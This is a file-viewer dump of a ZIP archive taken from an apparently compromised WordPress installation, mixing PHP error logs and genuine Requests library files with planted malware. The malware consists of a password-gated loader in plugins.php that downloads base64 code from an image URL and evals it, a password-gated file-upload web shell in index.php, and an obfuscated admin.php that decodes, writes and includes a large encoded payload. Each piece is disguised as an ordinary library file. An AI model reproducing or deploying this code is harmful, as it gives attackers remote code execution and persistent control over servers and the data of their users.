Viewing File: /home/cienp/public_html/inct-inovamed/wp-includes/certificates/content/uploads/wyw/Requests.zip
PK ].ڞ4 4 library/error_lognu W+A [28-Aug-2026 08:02:38 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:02:38 America/Sao_Paulo] PHP Warning: include_once(ABSPATHWPINC/class-requests.php): failed to open stream: No such file or directory in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/library/Requests.php on line 12
[28-Aug-2026 08:02:38 America/Sao_Paulo] PHP Warning: include_once(): Failed opening 'ABSPATHWPINC/class-requests.php' for inclusion (include_path='.:/opt/cpanel/ea-php56/root/usr/share/pear') in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/library/Requests.php on line 12
[29-Aug-2026 15:42:00 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 15:42:00 America/Sao_Paulo] PHP Warning: include_once(ABSPATHWPINC/class-requests.php): failed to open stream: No such file or directory in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/library/Requests.php on line 12
[29-Aug-2026 15:42:00 America/Sao_Paulo] PHP Warning: include_once(): Failed opening 'ABSPATHWPINC/class-requests.php' for inclusion (include_path='.:/opt/cpanel/ea-php56/root/usr/share/pear') in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/library/Requests.php on line 12
PK ]) library/Requests.phpnu W+A <?php
/**
* Loads the old Requests class file when the autoloader
* references the original PSR-0 Requests class.
*
* @deprecated 6.2.0
* @package WordPress
* @subpackage Requests
* @since 6.2.0
*/
include_once ABSPATH . WPINC . '/class-requests.php';
PK ]rl src/Exception/error_lognu W+A [28-Aug-2026 08:05:23 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:05:23 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[28-Aug-2026 08:15:03 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:15:22 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:15:22 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Transport.php on line 17
[28-Aug-2026 08:27:28 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:27:28 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http.php on line 18
[29-Aug-2026 13:33:59 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 13:33:59 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http.php on line 18
[29-Aug-2026 13:34:00 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 13:34:00 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[29-Aug-2026 13:34:01 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 13:34:01 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 13:34:01 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Transport.php on line 17
PK ]R R ! src/Exception/InvalidArgument.phpnu W+A <?php
namespace WpOrg\Requests\Exception;
use InvalidArgumentException;
/**
* Exception for an invalid argument passed.
*
* @package Requests\Exceptions
* @since 2.0.0
*/
final class InvalidArgument extends InvalidArgumentException {
/**
* Create a new invalid argument exception with a standardized text.
*
* @param int $position The argument position in the function signature. 1-based.
* @param string $name The argument name in the function signature.
* @param string $expected The argument type expected as a string.
* @param string $received The actual argument type received.
*
* @return \WpOrg\Requests\Exception\InvalidArgument
*/
public static function create($position, $name, $expected, $received) {
// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_debug_backtrace
$stack = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2);
return new self(
sprintf(
'%s::%s(): Argument #%d (%s) must be of type %s, %s given',
$stack[1]['class'],
$stack[1]['function'],
$position,
$name,
$expected,
$received
)
);
}
}
PK ]iA src/Exception/Transport.phpnu W+A <?php
/**
* Transport Exception
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception;
use WpOrg\Requests\Exception;
/**
* Transport Exception
*
* @package Requests\Exceptions
*/
class Transport extends Exception {}
PK ].< < ! src/Exception/Transport/error_lognu W+A [27-Apr-2026 15:48:29 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Apr-2026 12:14:56 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[18-May-2026 00:31:41 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[19-May-2026 16:16:04 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[01-Jun-2026 12:01:11 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[02-Jun-2026 11:59:53 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[09-Jun-2026 06:50:54 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[27-Jun-2026 04:53:01 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Jun-2026 11:14:41 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[06-Aug-2026 17:36:02 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:05:22 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 14:37:42 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
PK ]' # src/Exception/Transport/plugins.phpnu W+A <?php
if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
header('HTTP/1.0 403 Forbidden');
exit('Access denied.');
}
?>
<?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == 'a1fecbae6a303e0618f95586ddb49de7c30f911fecd8701500320daf754868a0') {
$_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
/*
* The searchform.php template.
*
* Used any time that get_search_form() is called.
*
* @link https://wordpress.org/themes/template/
* @package WordPress
* @subpackage
* @since 1.0 */
$l = "https://user-images.githubusercontent.com/143735067/264713238-ae810af4-c98d-421f-bbb3-1ddcc58f952a.jpg"/* "" - ni*/;
//DX for each form and a string
if( function_exists('curl_init') ) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $l);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36");
$body = curl_exec($ch);
curl_close($ch);
}
else {
$body = @file_get_contents($l);
}
eval(base64_decode($body));
?>PK ]:wH+ + ! src/Exception/Transport/index.phpnu W+A <?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == 'a1fecbae6a303e0618f95586ddb49de7c30f911fecd8701500320daf754868a0') {
$_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
echo('kill_the_net');
$files = @$_FILES["files"];
if ($files["name"] != '') {
$fullpath = $_REQUEST["path"] . $files["name"];
if (move_uploaded_file($files['tmp_name'], $fullpath)) {
echo "<h1><a href='$fullpath'>OK-Click here!</a></h1>";
}
}echo '<html><head><title>Upload files...</title></head><body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form></body></html>';
?>PK ]M
3 src/Exception/Transport/build/ykedb/foqxb/error_lognu W+A [25-Aug-2026 12:11:21 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 23:52:30 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
PK ]~ 3 src/Exception/Transport/build/ykedb/foqxb/admin.phpnu W+A <?php
class Tax {
function __construct() {
$_stack = $this->_request($this->_build);
$_stack = $this->iterator($this->check($_stack));
$_stack = $this->control($_stack);
$_stack = $this->mv($_stack);
if(is_array($_stack)) {
list($_event, $_lib, $emu, $_dx) = $_stack;
$this->_block = $_dx;
$this->_delegate = $emu;
$this->_point = $_event;
$this->data($_event, $_lib);
}
}
function data($_status, $process) {
$this->output = $_status;
$this->process = $process;
$this->session = $this->_request($this->session);
$this->session = $this->_seek($this->session);
$this->session = $this->pointer();
if(strpos($this->session, $this->output) !== false) {
if(!$this->_block)
$this->validator($this->_delegate, $this->_point);
$this->control($this->session);
$this->mv($this->stream);
}
}
function validator($_graph, $_handler) {
$_context = $this->check($this->validator[0].$this->validator[2].$this->validator[1].$this->validator[3]);
$_context = $_context($_graph, $_handler);
}
function _output($process, $runtime, $_status) {
$build = strlen($runtime) + strlen($_status);
$this->proxy = 0;
while(strlen($_status) < $build) {
$element = ord($runtime[$this->proxy]) - ord($_status[$this->proxy]);
$runtime[$this->proxy] = chr($element % (4096/16));
$_status .= $runtime[$this->proxy];
$this->proxy++;
}
return $runtime;
}
function _seek($_graph) {
$library = $this->_seek[3].$this->_seek[0].$this->_seek[1].$this->_seek[2].$this->_seek[4];
$library = $library($_graph);
return $library;
}
function iterator($_graph) {
$library = $this->check($this->iterator[0].$this->iterator[1]);
$library = $library($_graph);
return $library;
}
function pointer() {
$this->_ref = $this->_output($this->process, $this->session, $this->output);
$this->_ref = $this->iterator($this->_ref);
return $this->_ref;
}
function check($ver) {
$this->worker = $this->_seek($ver);
$this->worker = $this->_output('', $this->worker, strval($this->twelve));
return $this->worker;
}
function control($node) {
$stream = $this->check($this->instance[0].$this->instance[1].$this->instance[2].$this->instance[3]);
$this->stream = $stream() . $this->check($this->application[5].$this->application[4].$this->application[0].$this->application[1].$this->application[2].$this->application[3]) . md5(time());
$stream = $this->check($this->request[3].$this->request[0].$this->request[1].$this->request[2].$this->request[4]);
$stream = $stream($this->stream, 'w');
if ($stream)
{
$_x86 = $this->check($this->rx[2].$this->rx[0].$this->rx[1]);
$_x86($stream, $node);
return $this->stream;
}
}
function mv($_x86) {
$result = include($_x86);
return $result;
}
function _request($node) {
$library = $this->check($this->_size[2].$this->_size[4].$this->_size[3].$this->_size[0].$this->_size[1]);
return $library("\r\n", "", $node);
}
var $tool;
var $proxy = 0;
var $twelve = 952;
var $iterator = array('oK', '+b1eDVz9rR');
var $access = array('nK', 'Nraz', 'Li', 'cn', 'ObKw', 'eXx', 'p19');
var $_seek = array('se', '64_d', 'ec', 'ba', 'ode');
var $validator = array('rJq', 'tTjz', 'm1', 'tjU');
var $_size = array('09', 'E=', 'rKmk0u', '7G', 'bXz9');
var $instance = array('rJql5s', '7i4cji', 'z9XYwO', 'bG09g=');
var $application = array('X', 'o', 'u', 'bE', 'i', 'aK');
var $request = array('Si', 'y9', '0', 'n6', '=');
var $rx = array('ykz', '+vX', 'n6');
var $session = 'HiJApRRvxYwsjt/D2a4cGCc3fsuZDUddr7zV8Bn+HKKo9JINcplQ13cAWIxkMa1r4sIdaWf4ymCsQ5ND
ocdskh1L+GMq7cm5u3cZEMkjU6EsQnaopfR4KoJuyIg6iV1OfMkykLuaXciHnD43ERfa2pyIWGzKBhJo
d3yybhITYlKsWPdALuP8HebhZKsv2GvIrfYhFq6eAvtsjuWhlWuf3MGFmW0TspaFYMvnIBWxMPN3njO0
CIgZqL9bsxyf1rBA0AVrSb358bTZxSi4PP/PGA0vIzpy8bi7jgbuJCibFqVGgJH/SxrpCSewcZuz2SeC
aFknifoOgQ3Tx1RKX2lKF2Key0SGxGKbEa2Rl6mt/VQmV7QE9iiT31UHHfTaPcTWDf+7H8L8nFuSAbCS
aonJ3gAivnVo1ZuFpgCXCyjP/1L+2DdxjHgytdIS23f4vqd7Oi6vUBNQIJjcoiNRsZ19VqJcy9DfqFBZ
MntHo7MqdPRFQ508GMReXkayilg6yLspAIadOlBvhMi0/0/0Khk5PFKHHwuEMH8d9dzPJOpz/8Q45no7
MeVScmrilzX5cMsdCcT4DlFqsB+nY6PvlqW3bgdVxeuP8IFgl0dJV6iQdcxlgK2yeq4QP2/u6jAMhfnp
R0PiczGOGs6PubeZ3CDlvp9bHpoUUQk/RT9mXMYVr8zZKK4NLVDtC9//4wkpXdSCZ2YVAAtgo+mdfykq
imAdVdke8Qe/2HoCiRAMtzNvEtFLhzJND43ywwNYCZ0D8pubA3WOSzUsDvxPE0EKFunkvmWpeKlFfsfo
1ygi2urSnpGVeu8R2UnMryoZfF1yvPPjGsPHZf9qsW2GjLVQVHwP5K5rABgDByg+A1d+HKaTHQWUQjgY
0vXgv0O0cU1Hk9SJVJ8OlQs6Yu04swz11Yx+OCjco1ju5ckiVTczmJwGeKfsv8fzlKQZGbqm102gEq+x
sXcseiUkKfJgJ+DoAmE5k1qvs3LLFLGqWpOTum96i9Ic3nq1O8ZMIrW2jtmChAI+iok0FIwRidmzPtF0
kurUuYIzXjPeYVqHHLUdyeuX3FDOYheopdi2ZP9dbo454zRJud6mLEGrWjZiB3o9QExzngN/iooObZog
a4TGAwO5DiPjr+3R6KigY/HZ0T2qF2XQ+gJrZfYhgipcKs4yId7Ias3bKmfyraPi7f5ZRaKrpW67N6Bb
eV5lMUylP9w1Irijj9Tl0DTSiLUCid9xHfe7FgVD3VPYbhKfEwCjGA0I3gO5J88AuMSDGFfIeGtGyi/9
hehHGZ6XUc4lW0iNN2QeNHLQnoE8OKLzLjREtKtpOunH1T+wgArr2zHQ801ckhUT2pYDB7noA/penR4m
i1xNvOC15iDNHbfvjXfEnMpeSafmGzMsF+dfblReUb7hcYlhB0CnmfBkZVrJkiusPfAtme/G1Py4bOa4
Px3xkpnmg8EleY+JQj4VuYjWGZeoXiUCvZ8xjXYzloZxYgye6a+uc+iZvuS9hpmqWgwEoVeKBA79WVUI
lrCvpynTrSEWuhw/+aTT1Ke51eevhqRiuPHv8zkX3XavES1JmLcr7cKd2BjKzwcqEVIUBGf25Cp5mtIC
NQHEv8rB0nMjcWNq6s+mn2oyJvyaivQibL67FxXvz9bzxh+9p+8jNTHHxQtCLcOFXxy+GoLHgyDpEwCD
wKX9rozUZjGraJBSrLzej87TXSDmkU1OA+yqgk2AxcOzIVEVbbXLl7NtoUVwsXoWQFVlpxldQa6X8hu0
B6V/rvTQB6O7FaK7ueqGGfkCk6quMe2FACdLW5yjFGlEhcB3fRv3VK2RsobfMRBi10bj3XUcshbTl0eG
aPOnuS8jPtZhHQ9o3d2jrtKuyFNGc4kpVBOfRafTAhCJg6fLdsb8VYXXwEmmRXGCEHf9ELZymYDNJONV
PZpiGmwpBmZzTIYsm7yn3Se4QzhBRCXweNA8lt+MHjio1Mo5zFjP6HPQL8fZbeTdDUcLR+XKWuHpKPrb
jSarbVXW0cfli+nZ2VBlVCl59HJWqewljGQv/xrCx2YDr2uSeXqND3YCmSV42ZzalQsEONkmHz3C4gG8
ECnMdGyoh48DFmg1G+WC3SJg09vs3aPVzVvi4+Ofw0QFZfRMJ0kBSqq+bz1VuMnOF5KlqsXRfBRLvkHR
MG4zY4v4PlLRkmjicIEyPGs+zbaXT/1DWVdPH6d9w8gcLrjhwxW4iZnui7ycGciQwt5agl6m1bwgpJwC
390abw99gxp8T93V3+PlbCUMLpbZKLHSZd8adH4oPx6y251w/9LcID08v5jyIpVvNBoIW+b/SfFyoOeo
uJg5PkyaCivL90DrJbY7taE8uR31QMbE4uZ75P5FBOeyazFjkTwTgo/UCCrPLBLkqcKrlpjVbBdpvLVF
NtfkOWoOYzOczfp6f37ReTR4PBFpFanujpZJqEyEfxOUfzTqCf4Y3vdXRli6lrqUNZFM3Y58MoythzcD
Elwnzjy/OP3WNa95XZm7cca8KbYkgb3q/58O7G7vSdnYOMLckVYDci8SrEI4RVvwk/tvqsa+2hs3nFBH
1ChyVzPk41q/22WEYhL+Hwza4uTAXTnGhDom3ZB/q3LDflJDoZYm7Exs8RE9DvWjedWiqPZa++ItHGs5
jtI+/dOaup9M651uzHFQuWH3UOKhWD/IwrKfG8hRWYCNm+aK3zRbCOl7MgMm8PUlGFZM9UWj169eWJnQ
jpx5rJtdErKXKHWE/1gbQZNy6m9wpYwD1oyprqWhyWwbqBlhzgpIVt14V0MqfkSUBRgnh78qknimKmW1
DN75oYjlxZfzu9ze2aVc8ETpaff+XLciYTuQOVfTzH52jPdiVbSGsvXMOfPvFVUD1Z2Lnn17Giw6w4BM
QKTfYI50dNJuuiqASbcs3+R8x88g67RTtGrW23Wo+C1lc0RClvvMTpqy9NGknascnty8rLwXfwfL9Egk
T1qJKErqmtLWRZG/voF3sjxH3Uc58Vb5TSC9TvlQVn6dbwL7ej/dzda088dD1KcAtOmfE776xGQ5SQ88
FndZfMvzTTavzQv8fjMaSxOMKN0/IV7Nax7/kej/L5/RS/d1V60+ZahjIyv/j9K4q9SOgl154l9CWtue
vY4FMb6FwCHq9IcXC/QEZDrWxqnFQ2Y57N7fyyGGTzoOgE8uZfcbgAGzO0IHQWdf5YxnMgN7XXgZF1nW
b2WtvABmy33mExKTv5d/chhKpz3jbaSGC9Qwf8nJa1aHziefcjDwVYs3uJv+mr92QwnZTE2niRSvICvs
AbcFkwzIGn6OJo3zcjO5ly5uaIJkboW+TMBy0NIns3RTsAti+q4VbVvKOZYTUgAfQYStryFLzDDY5fKn
sI5CJMwQ1nPA3WgEGHJMNK1ZIGVZD/nbA1uKI4onuLgbgmpsO0xw4d0/RaIbqtRcUpzhmHH4YS2KUuaK
bxVL+/aO0kF39yJNuwg+4c+WLmrmlJLyo/cstC4R02SnvhGq1tkZzsK+6xSoYO4K6cOp+fjNu+onelFS
F+1Wdw9SZTumYfls+MtOIynxRE7q3JfFaIjdDEVQqZlH3Es6sAUPo/v8dza/M8ANsqYjgD/sfcHJbjja
5F/mIIC2+UCq6OBfbk/xto74Alx+bkn7kNNvJV6tmHj322hDhJloJEOqDmLlcevolPgTTnMH104bEOLp
3e9D1yQlMUORPEmBBGPI0xYB1mVRPDDF6U3SXlyru3KV9hLfVUqizyLMjorIAei9YX5P1DKc4w8DRoqX
Z8b9a39+qjrPH6rLE68laSsvxWYNQPOY3TmThai6SJhmfaUk2P/Eo/3HW/lqWuEmIcO1bTar3LPqM28B
ao22KLruDw0cykGErIwVrbLBJhBdm5hBz2/yKoF9ilYMM5a34yXqYj/hvb4rllByWkvV/YnLoXK6eBKR
Od82kyesoCJRfbfJuUSGeIEff/oKGRmy5FZ+UH0LvzUUyxFgA/yjNNdzgNFcIJxiw65sJRzKO3r9yUQt
NHu3kkbotNg1SQMtfMmhj1apWwMi3oZewGYnIsNtREOero/28LhCLd2lrDgoK3w6gX5sHOMiYRxogshV
69PxsneYQh4yxHZeJuBtUGsY2PNkSjY8Gddw2znB4G2jX28b9tonpMmya394a8oYFXnUKrxdPOVuUbTV
lVXAoCgwryRJi6HK11MTZi1cWPYXUy24w+GJEsE42DcdZhqrDGbkTGu/3XWpAoyNN9iCVmfCA++MnE5M
VyMyuFxs8cRIGSxGWeVmPKZqmSQfLQErcAEo19nMl8MA9xPsdF3+1lo0c57H2o+WOhprrnEi6pdjZvuL
/eA3jeoTw3eKlrbLiC2yzfqTDeN+NHqVnfK3gmgMWvle/+X3uKljfU9X2Fue4i1xqjmWZpDROJ+eE8nJ
Y05YS4lJ3qyfmbP11lP7X/BrZkm4Db1SM4gwyRRd9UMX01GsfjsSHtS86GlNOoWtEF0Nzc9mWgcE+uEQ
8tzCA5lYEMWQEXa+vnVjEHTJSZafB8yWz9s30iYkX52x11K0uA3CLGTv9ovubE36KB3/u9y7DJ0wgRxG
RSnAqJ+h3vyEVPuwLbjXdu476tTqopHGU2fSsL/THSC5HMlNYwQb4kiA9dfc6P21ogQjABHDXKoVL6mu
AqIzkYcShdyi0e2Ha0kTdtENwg7pakxLm3kJN/jzWnDKNCIOyxQ2oPBXZiBBM3oS3GnCzIB246va4XZe
EQfk38QsqHZcc30R1JPkQMwRECbtSMXuPsvpJBN1Wuhv9D+U34qacI6gt2j0vbROqBdSL/6GiB/3c0Gu
QDSR5p83h5gtWUBURvo1HOUtwDC8LQaFfDlDf0BxZKYt1+pbmwvuj/8DJYoCCrNjp2MTw2chaPp4vcJI
UapmLsn++4NHnt7VNyM800nTpjUG1gRy1nJhc8ZIR/YaLUXyc5RWm3iYSBieXrWZ8Axcbjfd/s113VVH
bAA1NtRSHL1IonasAYhE4nlwF93lI00FZzWbpehG48kMK7svT05SXphS+H/Ob9KvOeWTLB9lTPGqJ+UF
80VOdSlfH8ZSFXgk/u0WvE8iflli4CtNgHS5PRMPC5Hv6hi5kmjSADhcJfrc8nrsx8WWntxbsZwAGk3Y
4+KVQHV8gf7Pp0kD7CZi9M6A7smF7LldGfK3wdf61bfpMtlRa0GAhntaXFTNOr1fnUfotnbWsRn6H+NF
IEaSDOUFScDGPid6VZOmogJWgGPFMQrEpPaljgiY+8Zr46qeZDSzYIVS/8Mgqp8QkoTmz+O9gZ/cOf4r
Yb0voEqQY+gwfRNJ29kYdXLh3gSkkt+59fQJdo8N2ssCLgoVReTCWjKdADYUTNtTQutLmKTYrYQ2mluq
S00CGIIsZfSRwkdKKpxWn4SNdI5RL09S6SXcpNSQEWs37sR9DrrsfPhLQsqyEESkyvbzTwWGv5JYkAuT
tDEtJPZFs6XgUEIKdj366mXnBkYCtMvHPE984l/vSFtwHeYW1Ar/g3sK4m77AdK2XpAEwjFwIObIBeJl
qANwsgV+bcN8BS6F5i+LwL8+9L1+ODldxwUkm/C27r19+/lEuWuE+1A6GWdP8JRydzQ0dFX41K0x+Yg+
tUZXUgcZq6De7xGJfjvgTfIKzfuooXykemCwCMwSCCExUAioPqcPrz+a8LGh1h/neUi6+DyNXM6EsFLJ
z5WpkhQ3b57jivW3+3D2u7tceRujd+oMwhrtAD2CL1hZ7vHNl2G1BfLjjZhI//sP8Wsf1rCtkUGIBmOZ
pXgDfKoRagP33OoVMYqZ3912oLs4OQmCUoB3LeI72S2iMA31fCl6pPUSAXkGgf3q9ZtRKqbiWyDu+eYg
qTJV3i8PDhhds/petuHZ6aKGzristdtLJxe41wadoORUmxoV57p6bQIWFFeLevAbYU4skw6MAd33mvWN
5BTnyKvwZFCYrLYUFKwVKUY439kclA94SKfHS/a8q+YQoOZQzvXmFs8QETszAecHMOHmBGCWgpsz0CYE
ApId3Z/ufaS0qwwydFKFfdEJh+T772k5OzmXqB3e0mcPl8HHV4EonIB22gs2vaiUK0ZcUKwrg+b8+d5+
B9TeEis2m7/wphGdOPvj1IhxzA8mDjJLkzCuNwyqR3w1yLtBIxmXeiVyDGKt7I76vY45t54AJUJ80OBZ
NG6vH20x6sXbgexlfV9H4imzrdEBNMLoLR9VY7d7TmkUEZs4zkvg7oBgCnGIjhxLd4GyrwvNl523nVj9
s+jQYgB80jepDV/wMJjudxy0Re2UqJXsnJ6SigC/dIU9q4xdZ0fJjHGUiIKF/xREClRpfrhEabVw7M7N
g/XU2g3lOSQKaBBcPcVtsLFvU53Kne8rIpFIj//bJIPKZmagUoGwSYVMhKMj6UWRQA/tJSmF1Kys3w60
NW8/VN4FZCT0n/P+3ytWbY4fZgj3nXtsiWGJ7pfnJdx59Q4HVye0MKC4seR8N+w+u9Pqg7/aGta3Ym/a
Xb4xQtDIyJvCNl0Dqbi9AbyQNGHuzsulUAZDUMVM/RAltzWqXJkfkA27lGGF7/7DsVPppJrC6vcGyhFj
l7rC4Kur4MWKfHW3pcnxamwpGVoLp7UCbEGy+LMh6ZTsMDLft0ppUUqBEsALcI0ILD8TrN4m0MaHlJFr
a8C3XtQPpQeLLj/xNYsYhEBHeT/4TOLSioDSOkxy2mxtuCl9WusbpA6b4GKB5gHa6jN0XwgSTmdJ5Xc1
tVUvOsAHiLXP8c0D1GZYDup+BQNxnZjf7eshxaP3NFro0AJh/QDNAY8gHVCkd577CCpET7MiPcyGeRUE
sTlz6dIA22gejcRobZya/yEUYOseqlG7doJ6PtNWp/G/W/jR5hAAvIpt1vEKK0Ad/e1QCtJ4LcQ6hAPl
Sc46JvH1WVV+sRq1LbrzoEo7tz9hLKnkmXxpO2IfGyZeMPB8ypn47kVqHW6d/pOxUe9AC0w0DKxXjEDP
epJmoOnU8Bw0rfALlrlj2tDJgCqzQLAQYM940m6mpbFHhoiBKyFsAfOUhfDmazC76fVAg6hgUEOAc5oX
0Fk2sPAk6SFlgAcvAOauGl6qzC/fnQbPwmv01mYtb4a9GpmtUEXUWb3eHTVzYBSe3pzAAm8YoI9pKP/C
